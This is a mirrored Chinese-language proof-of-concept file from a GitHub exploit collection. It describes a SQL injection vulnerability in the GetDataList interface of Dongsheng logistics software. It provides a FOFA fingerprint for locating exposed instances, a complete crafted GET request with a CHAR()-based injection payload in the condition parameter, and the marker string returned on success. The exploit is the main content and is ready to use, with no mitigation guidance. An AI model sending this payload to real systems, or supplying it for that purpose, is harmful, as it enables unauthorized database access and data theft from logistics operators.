mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 11:26:58 +00:00
33 lines
1.3 KiB
Markdown
33 lines
1.3 KiB
Markdown
|
# 东胜物流软件GetDataList存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
东胜物流软件是一款致力于为客户提供IT支撑的 SOP， 帮助客户大幅提高工作效率，降低各个环节潜在风险的物流软件。东胜物流软件 GetDataList接口处存在 SQL 注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
+ 东胜物流软件
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ fofa`fid="Z4c2hPCi5IR/AnH5vZXNSQ=="`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```plain
|
|||
|
|
GET /TruckMng/MsWlDriver/GetDataList?_dc=1665626804091&start=0&limit=30&sort&condition=123+IN+(CHAR(113)%2bCHAR(120)%2bCHAR(112)%2bCHAR(113)%2bCHAR(113)%2bCHAR(113)%2bCHAR(122)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113))--%20&page=1&page=1 HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
|||
|
|
Connection: close
|
|||
|
|
Accept-Encoding: gzip
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
qxpqqqzkqq
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:55:41
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/mp5bydo55w118fyr>
|